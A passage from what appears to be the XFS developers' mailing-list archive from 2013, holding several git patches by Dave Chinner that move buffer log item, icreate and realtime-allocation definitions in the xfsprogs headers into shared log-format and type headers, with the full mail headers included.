Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_RTALLOC_H__ -#define __XFS_RTALLOC_H__ - -struct xfs_mount; -struct xfs_trans; - -/* Min and max rt extent sizes, specified in bytes */ -#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ -#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ -#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ - -/* - * Constants for bit manipulations. - */ -#define XFS_NBBYLOG 3 /* log2(NBBY) */ -#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ -#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) -#define XFS_NBWORD (1 << XFS_NBWORDLOG) -#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) - -#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) -#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) -#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) -#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) - -/* - * Summary and bit manipulation macros. - */ -#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) -#define XFS_SUMOFFSTOBLOCK(mp,s) \ - (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) -#define XFS_SUMPTR(mp,bp,so) \ - ((xfs_suminfo_t *)((bp)->b_addr + \ - (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) - -#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) -#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) -#define XFS_BITTOWORD(mp,bi) \ - ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) - -#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) -#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) - -#define XFS_RTLOBIT(w) xfs_lowbit32(w) -#define XFS_RTHIBIT(w) xfs_highbit32(w) - -#if XFS_BIG_BLKNOS -#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) -#else -#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) -#endif - - -#ifdef __KERNEL__ - -#ifdef CONFIG_XFS_RT -/* - * Function prototypes for exported functions. - */ - -/* - * Allocate an extent in the realtime subvolume, with the usual allocation - * parameters. The length units are all in realtime extents, as is the - * result block number. - */ -int /* error */ -xfs_rtallocate_extent( - struct xfs_trans *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number to allocate */ - xfs_extlen_t minlen, /* minimum length to allocate */ - xfs_extlen_t maxlen, /* maximum length to allocate */ - xfs_extlen_t *len, /* out: actual length allocated */ - xfs_alloctype_t type, /* allocation type XFS_ALLOCTYPE... */ - int wasdel, /* was a delayed allocation extent */ - xfs_extlen_t prod, /* extent product factor */ - xfs_rtblock_t *rtblock); /* out: start block allocated */ - -/* - * Free an extent in the realtime subvolume. Length is expressed in - * realtime extents, as is the block number. - */ -int /* error */ -xfs_rtfree_extent( - struct xfs_trans *tp, /* transaction pointer */ - xfs_rtblock_t bno, /* starting block number to free */ - xfs_extlen_t len); /* length of extent freed */ - -/* - * Initialize realtime fields in the mount structure. - */ -int /* error */ -xfs_rtmount_init( - struct xfs_mount *mp); /* file system mount structure */ -void -xfs_rtunmount_inodes( - struct xfs_mount *mp); - -/* - * Get the bitmap and summary inodes into the mount structure - * at mount time. - */ -int /* error */ -xfs_rtmount_inodes( - struct xfs_mount *mp); /* file system mount structure */ - -/* - * Pick an extent for allocation at the start of a new realtime file. - * Use the sequence number stored in the atime field of the bitmap inode. - * Translate this to a fraction of the rtextents, and return the product - * of rtextents and the fraction. - * The fraction sequence is 0, 1/2, 1/4, 3/4, 1/8, ..., 7/8, 1/16, ... - */ -int /* error */ -xfs_rtpick_extent( - struct xfs_mount *mp, /* file system mount point */ - struct xfs_trans *tp, /* transaction pointer */ - xfs_extlen_t len, /* allocation length (rtextents) */ - xfs_rtblock_t *pick); /* result rt extent */ - -/* - * Grow the realtime area of the filesystem. - */ -int -xfs_growfs_rt( - struct xfs_mount *mp, /* file system mount structure */ - xfs_growfs_rt_t *in); /* user supplied growfs struct */ - -#else -# define xfs_rtallocate_extent(t,b,min,max,l,a,f,p,rb) (ENOSYS) -# define xfs_rtfree_extent(t,b,l) (ENOSYS) -# define xfs_rtpick_extent(m,t,l,rb) (ENOSYS) -# define xfs_growfs_rt(mp,in) (ENOSYS) -static inline int /* error */ -xfs_rtmount_init( - xfs_mount_t *mp) /* file system mount structure */ -{ - if (mp->m_sb.sb_rblocks == 0) - return 0; - - xfs_warn(mp, "Not built with CONFIG_XFS_RT"); - return ENOSYS; -} -# define xfs_rtmount_inodes(m) (((mp)->m_sb.sb_rblocks == 0)? 0 : (ENOSYS)) -# define xfs_rtunmount_inodes(m) -#endif /* CONFIG_XFS_RT */ - -#endif /* __KERNEL__ */ - -#endif /* __XFS_RTALLOC_H__ */ diff --git a/include/xfs_types.h b/include/xfs_types.h index b144a8f..6ed6b26 100644 --- a/include/xfs_types.h +++ b/include/xfs_types.h @@ -184,4 +184,14 @@ struct xfs_name { */ typedef __uint32_t xfs_dqid_t; +/* + * Constants for bit manipulations. + */ +#define XFS_NBBYLOG 3 /* log2(NBBY) */ +#define XFS_WORDLOG 2 /* log2(sizeof(xfs_rtword_t)) */ +#define XFS_NBWORDLOG (XFS_NBBYLOG + XFS_WORDLOG) +#define XFS_NBWORD (1 << XFS_NBWORDLOG) +#define XFS_WORDMASK ((1 << XFS_WORDLOG) - 1) + + #endif /* __XFS_TYPES_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1A1D029E37 for ; Wed, 4 Sep 2013 17:21:52 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D38BF304048 for ; Wed, 4 Sep 2013 15:21:51 -0700 (PDT) X-ASG-Debug-ID: 1378333309-04bdf02f22d82960001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id H0Wp7ZTyUDDdKT2g for ; Wed, 04 Sep 2013 15:21:49 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABTCIMHrlGVIRd0giQBAQUnLzMIGDE5AxsZiAG6No4jhWEDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dL-Rh for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sZ-Qj for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 18/55] xfs: split out buf log item format definitions Date: Thu, 5 Sep 2013 08:05:22 +1000 X-ASG-Orig-Subj: [PATCH 18/55] xfs: split out buf log item format definitions Message-Id: <1378332359-14737-19-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333309 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/Makefile | 4 +- include/libxfs.h | 6 +- include/libxlog.h | 1 - include/xfs_buf_item.h | 172 ----------------------------------------------- include/xfs_log_format.h | 97 ++++++++++++++++++++++++++ 5 files changed, 105 insertions(+), 175 deletions(-) delete mode 100644 include/xfs_buf_item.h diff --git a/include/Makefile b/include/Makefile index 722aef3..f5c50b7 100644 --- a/include/Makefile +++ b/include/Makefile @@ -23,7 +23,9 @@ QAHFILES = libxfs.h libxlog.h \ swab.h \ xfs_ag.h xfs_alloc.h xfs_alloc_btree.h xfs_arch.h xfs_attr_leaf.h \ xfs_attr_sf.h xfs_bit.h xfs_bmap.h xfs_bmap_btree.h xfs_btree.h \ - xfs_btree_trace.h xfs_buf_item.h xfs_cksum.h xfs_da_btree.h \ + xfs_btree_trace.h \ + xfs_cksum.h \ + xfs_da_btree.h \ xfs_dinode.h xfs_dir2.h xfs_dir2_format.h \ xfs_extfree_item.h xfs_ialloc.h xfs_ialloc_btree.h \ xfs_icreate_item.h \ diff --git a/include/libxfs.h b/include/libxfs.h index c96857b..40e5e25 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -52,7 +52,6 @@ #include #include #include -#include #include #include #include @@ -438,6 +437,11 @@ typedef struct xfs_buf_log_item { xfs_buf_log_format_t bli_format; /* in-log header */ } xfs_buf_log_item_t; +#define XFS_BLI_DIRTY (1<<0) +#define XFS_BLI_HOLD (1<<1) +#define XFS_BLI_STALE (1<<2) +#define XFS_BLI_INODE_ALLOC_BUF (1<<3) + #include typedef struct xfs_trans { diff --git a/include/libxlog.h b/include/libxlog.h index 301e3dd..08f5dbb 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -48,7 +48,6 @@ struct xlog { }; #include -#include #include #include diff --git a/include/xfs_buf_item.h b/include/xfs_buf_item.h deleted file mode 100644 index 2573d2a..0000000 --- a/include/xfs_buf_item.h +++ /dev/null @@ -1,172 +0,0 @@ -/* - * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_BUF_ITEM_H__ -#define __XFS_BUF_ITEM_H__ - -extern kmem_zone_t *xfs_buf_item_zone; - -/* - * This flag indicates that the buffer contains on disk inodes - * and requires special recovery handling. - */ -#define XFS_BLF_INODE_BUF (1<<0) -/* - * This flag indicates that the buffer should not be replayed - * during recovery because its blocks are being freed. - */ -#define XFS_BLF_CANCEL (1<<1) - -/* - * This flag indicates that the buffer contains on disk - * user or group dquots and may require special recovery handling. - */ -#define XFS_BLF_UDQUOT_BUF (1<<2) -#define XFS_BLF_PDQUOT_BUF (1<<3) -#define XFS_BLF_GDQUOT_BUF (1<<4) - -#define XFS_BLF_CHUNK 128 -#define XFS_BLF_SHIFT 7 -#define BIT_TO_WORD_SHIFT 5 -#define NBWORD (NBBY * sizeof(unsigned int)) - -/* - * This is the structure used to lay out a buf log item in the - * log. The data map describes which 128 byte chunks of the buffer - * have been logged. - */ -#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) - -typedef struct xfs_buf_log_format { - unsigned short blf_type; /* buf log item type indicator */ - unsigned short blf_size; /* size of this item */ - ushort blf_flags; /* misc state */ - ushort blf_len; /* number of blocks in this buf */ - __int64_t blf_blkno; /* starting blkno of this buf */ - unsigned int blf_map_size; /* used size of data bitmap in words */ - unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ -} xfs_buf_log_format_t; - -/* - * All buffers now need to tell recovery where the magic number - * is so that it can verify and calculate the CRCs on the buffer correctly - * once the changes have been replayed into the buffer. - * - * The type value is held in the upper 5 bits of the blf_flags field, which is - * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. - */ -#define XFS_BLFT_BITS 5 -#define XFS_BLFT_SHIFT 11 -#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) - -enum xfs_blft { - XFS_BLFT_UNKNOWN_BUF = 0, - XFS_BLFT_UDQUOT_BUF, - XFS_BLFT_PDQUOT_BUF, - XFS_BLFT_GDQUOT_BUF, - XFS_BLFT_BTREE_BUF, - XFS_BLFT_AGF_BUF, - XFS_BLFT_AGFL_BUF, - XFS_BLFT_AGI_BUF, - XFS_BLFT_DINO_BUF, - XFS_BLFT_SYMLINK_BUF, - XFS_BLFT_DIR_BLOCK_BUF, - XFS_BLFT_DIR_DATA_BUF, - XFS_BLFT_DIR_FREE_BUF, - XFS_BLFT_DIR_LEAF1_BUF, - XFS_BLFT_DIR_LEAFN_BUF, - XFS_BLFT_DA_NODE_BUF, - XFS_BLFT_ATTR_LEAF_BUF, - XFS_BLFT_ATTR_RMT_BUF, - XFS_BLFT_SB_BUF, - XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), -}; - -static inline void -xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) -{ - ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); - blf->blf_flags &= ~XFS_BLFT_MASK; - blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); -} - -static inline __uint16_t -xfs_blft_from_flags(struct xfs_buf_log_format *blf) -{ - return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; -} - -/* - * buf log item flags - */ -#define XFS_BLI_HOLD 0x01 -#define XFS_BLI_DIRTY 0x02 -#define XFS_BLI_STALE 0x04 -#define XFS_BLI_LOGGED 0x08 -#define XFS_BLI_INODE_ALLOC_BUF 0x10 -#define XFS_BLI_STALE_INODE 0x20 -#define XFS_BLI_INODE_BUF 0x40 - -#define XFS_BLI_FLAGS \ - { XFS_BLI_HOLD, "HOLD" }, \ - { XFS_BLI_DIRTY, "DIRTY" }, \ - { XFS_BLI_STALE, "STALE" }, \ - { XFS_BLI_LOGGED, "LOGGED" }, \ - { XFS_BLI_INODE_ALLOC_BUF, "INODE_ALLOC" }, \ - { XFS_BLI_STALE_INODE, "STALE_INODE" }, \ - { XFS_BLI_INODE_BUF, "INODE_BUF" } - - -#ifdef __KERNEL__ - -struct xfs_buf; -struct xfs_mount; -struct xfs_buf_log_item; - -/* - * This is the in core log item structure used to track information - * needed to log buffers. It tracks how many times the lock has been - * locked, and which 128 byte chunks of the buffer are dirty. - */ -typedef struct xfs_buf_log_item { - xfs_log_item_t bli_item; /* common item structure */ - struct xfs_buf *bli_buf; /* real buffer pointer */ - unsigned int bli_flags; /* misc flags */ - unsigned int bli_recur; /* lock recursion count */ - atomic_t bli_refcount; /* cnt of tp refs */ - int bli_format_count; /* count of headers */ - struct xfs_buf_log_format *bli_formats; /* array of in-log header ptrs */ - struct xfs_buf_log_format __bli_format; /* embedded in-log header */ -} xfs_buf_log_item_t; - -void xfs_buf_item_init(struct xfs_buf *, struct xfs_mount *); -void xfs_buf_item_relse(struct xfs_buf *); -void xfs_buf_item_log(xfs_buf_log_item_t *, uint, uint); -uint xfs_buf_item_dirty(xfs_buf_log_item_t *); -void xfs_buf_attach_iodone(struct xfs_buf *, - void(*)(struct xfs_buf *, xfs_log_item_t *), - xfs_log_item_t *); -void xfs_buf_iodone_callbacks(struct xfs_buf *); -void xfs_buf_iodone(struct xfs_buf *, struct xfs_log_item *); - -void xfs_trans_buf_set_type(struct xfs_trans *, struct xfs_buf *, - enum xfs_blft); -void xfs_trans_buf_copy_type(struct xfs_buf *dst_bp, struct xfs_buf *src_bp); - -#endif /* __KERNEL__ */ - -#endif /* __XFS_BUF_ITEM_H__ */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index fd46a7f..77a6024 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -364,4 +364,101 @@ static inline uint xfs_icdinode_size(int version) return sizeof(struct xfs_icdinode); return offsetof(struct xfs_icdinode, di_next_unlinked); } + +/* + * Buffer Log Format defintions + * + * These are the physical dirty bitmap defintions for the log format structure. + */ +#define XFS_BLF_CHUNK 128 +#define XFS_BLF_SHIFT 7 +#define BIT_TO_WORD_SHIFT 5 +#define NBWORD (NBBY * sizeof(unsigned int)) + +/* + * This flag indicates that the buffer contains on disk inodes + * and requires special recovery handling. + */ +#define XFS_BLF_INODE_BUF (1<<0) + +/* + * This flag indicates that the buffer should not be replayed + * during recovery because its blocks are being freed. + */ +#define XFS_BLF_CANCEL (1<<1) + +/* + * This flag indicates that the buffer contains on disk + * user or group dquots and may require special recovery handling. + */ +#define XFS_BLF_UDQUOT_BUF (1<<2) +#define XFS_BLF_PDQUOT_BUF (1<<3) +#define XFS_BLF_GDQUOT_BUF (1<<4) + +/* + * This is the structure used to lay out a buf log item in the + * log. The data map describes which 128 byte chunks of the buffer + * have been logged. + */ +#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) + +typedef struct xfs_buf_log_format { + unsigned short blf_type; /* buf log item type indicator */ + unsigned short blf_size; /* size of this item */ + ushort blf_flags; /* misc state */ + ushort blf_len; /* number of blocks in this buf */ + __int64_t blf_blkno; /* starting blkno of this buf */ + unsigned int blf_map_size; /* used size of data bitmap in words */ + unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ +} xfs_buf_log_format_t; + +/* + * All buffers now need to tell recovery where the magic number + * is so that it can verify and calculate the CRCs on the buffer correctly + * once the changes have been replayed into the buffer. + * + * The type value is held in the upper 5 bits of the blf_flags field, which is + * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. + */ +#define XFS_BLFT_BITS 5 +#define XFS_BLFT_SHIFT 11 +#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) + +enum xfs_blft { + XFS_BLFT_UNKNOWN_BUF = 0, + XFS_BLFT_UDQUOT_BUF, + XFS_BLFT_PDQUOT_BUF, + XFS_BLFT_GDQUOT_BUF, + XFS_BLFT_BTREE_BUF, + XFS_BLFT_AGF_BUF, + XFS_BLFT_AGFL_BUF, + XFS_BLFT_AGI_BUF, + XFS_BLFT_DINO_BUF, + XFS_BLFT_SYMLINK_BUF, + XFS_BLFT_DIR_BLOCK_BUF, + XFS_BLFT_DIR_DATA_BUF, + XFS_BLFT_DIR_FREE_BUF, + XFS_BLFT_DIR_LEAF1_BUF, + XFS_BLFT_DIR_LEAFN_BUF, + XFS_BLFT_DA_NODE_BUF, + XFS_BLFT_ATTR_LEAF_BUF, + XFS_BLFT_ATTR_RMT_BUF, + XFS_BLFT_SB_BUF, + XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), +}; + +static inline void +xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) +{ + ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); + blf->blf_flags &= ~XFS_BLFT_MASK; + blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); +} + +static inline __uint16_t +xfs_blft_from_flags(struct xfs_buf_log_format *blf) +{ + return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; +} + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0571829EA4 for ; Wed, 4 Sep 2013 17:21:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 99682AC002 for ; Wed, 4 Sep 2013 15:21:52 -0700 (PDT) X-ASG-Debug-ID: 1378333309-04bdf02f22d82960002-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 2C15gaEnoMbpBuuT for ; Wed, 04 Sep 2013 15:21:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBVYzCBgxOQMbGYgBujaUBAOUG44JhzeBY4FPKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007dU-Td for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003so-Sl for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 21/55] xfs: separate icreate log format definitions from xfs_icreate_item.h Date: Thu, 5 Sep 2013 08:05:25 +1000 X-ASG-Orig-Subj: [PATCH 21/55] xfs: separate icreate log format definitions from xfs_icreate_item.h Message-Id: <1378332359-14737-22-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333310 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on disk log format definitions for the icreate log item are intertwined with the kernel-only in-memory log item definitions. Separate the log format definitions out into their own header file so they can easily be shared with userspace. Signed-off-by: Dave Chinner --- include/Makefile | 1 - include/libxfs.h | 1 - include/libxlog.h | 1 - include/xfs_icreate_item.h | 55 ---------------------------------------------- include/xfs_log_format.h | 18 +++++++++++++++ 5 files changed, 18 insertions(+), 58 deletions(-) delete mode 100644 include/xfs_icreate_item.h diff --git a/include/Makefile b/include/Makefile index 8f738a8..ab71aad 100644 --- a/include/Makefile +++ b/include/Makefile @@ -30,7 +30,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_format.h \ xfs_ialloc.h \ xfs_ialloc_btree.h \ - xfs_icreate_item.h \ xfs_inode.h \ xfs_inum.h \ xfs_log_format.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 646ca79..bc90082 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -59,7 +59,6 @@ #include #include #include -#include #ifndef ARRAY_SIZE diff --git a/include/libxlog.h b/include/libxlog.h index ee23212..e65b607 100644 --- a/include/libxlog.h +++ b/include/libxlog.h @@ -48,7 +48,6 @@ struct xlog { }; #include -#include /* * macros mapping kernel code to user code diff --git a/include/xfs_icreate_item.h b/include/xfs_icreate_item.h deleted file mode 100644 index 70dc03c..0000000 --- a/include/xfs_icreate_item.h +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (c) 2008-2010, Dave Chinner - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef XFS_ICREATE_ITEM_H -#define XFS_ICREATE_ITEM_H 1 - -/* - * on disk log item structure - * - * Log recovery assumes the first two entries are the type and size and they fit - * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so - * decoding can be done correctly. - */ -struct xfs_icreate_log { - __uint16_t icl_type; /* type of log format structure */ - __uint16_t icl_size; /* size of log format structure */ - __be32 icl_ag; /* ag being allocated in */ - __be32 icl_agbno; /* start block of inode range */ - __be32 icl_count; /* number of inodes to initialise */ - __be32 icl_isize; /* size of inodes */ - __be32 icl_length; /* length of extent to initialise */ - __be32 icl_gen; /* inode generation number to use */ -}; - -#ifdef __KERNEL__ - -/* in memory log item structure */ -struct xfs_icreate_item { - struct xfs_log_item ic_item; - struct xfs_icreate_log ic_format; -}; - -extern kmem_zone_t *xfs_icreate_zone; /* inode create item zone */ - -void xfs_icreate_log(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t agbno, unsigned int count, - unsigned int inode_size, xfs_agblock_t length, - unsigned int generation); -#endif /* __KERNEL__ */ - -#endif /* XFS_ICREATE_ITEM_H */ diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index 2c0f3f1..51d4932 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -608,4 +608,22 @@ typedef struct xfs_qoff_logformat { XFS_PQUOTA_ACCT|XFS_PQUOTA_ENFD|\ XFS_PQUOTA_CHKD) +/* + * Inode create log item structure + * + * Log recovery assumes the first two entries are the type and size and they fit + * in 32 bits. Also in host order (ugh) so they have to be 32 bit aligned so + * decoding can be done correctly. + */ +struct xfs_icreate_log { + __uint16_t icl_type; /* type of log format structure */ + __uint16_t icl_size; /* size of log format structure */ + __be32 icl_ag; /* ag being allocated in */ + __be32 icl_agbno; /* start block of inode range */ + __be32 icl_count; /* number of inodes to initialise */ + __be32 icl_isize; /* size of inodes */ + __be32 icl_length; /* length of extent to initialise */ + __be32 icl_gen; /* inode generation number to use */ +}; + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 658AB29EAB for ; Wed, 4 Sep 2013 17:21:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 561FF8F8033 for ; Wed, 4 Sep 2013 15:21:53 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0010-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 9jJTMkE7a9fb4WMd for ; Wed, 04 Sep 2013 15:21:51 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgQRAKexJ1J5LJ62/2dsb2JhbABbgwc1rVoDP5UhF3SCJAEBBVYVHggYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007d2-NX for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003s5-MT for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 12/55] xfsprogs: define min/max once and use them everywhere. Date: Thu, 5 Sep 2013 08:05:16 +1000 X-ASG-Orig-Subj: 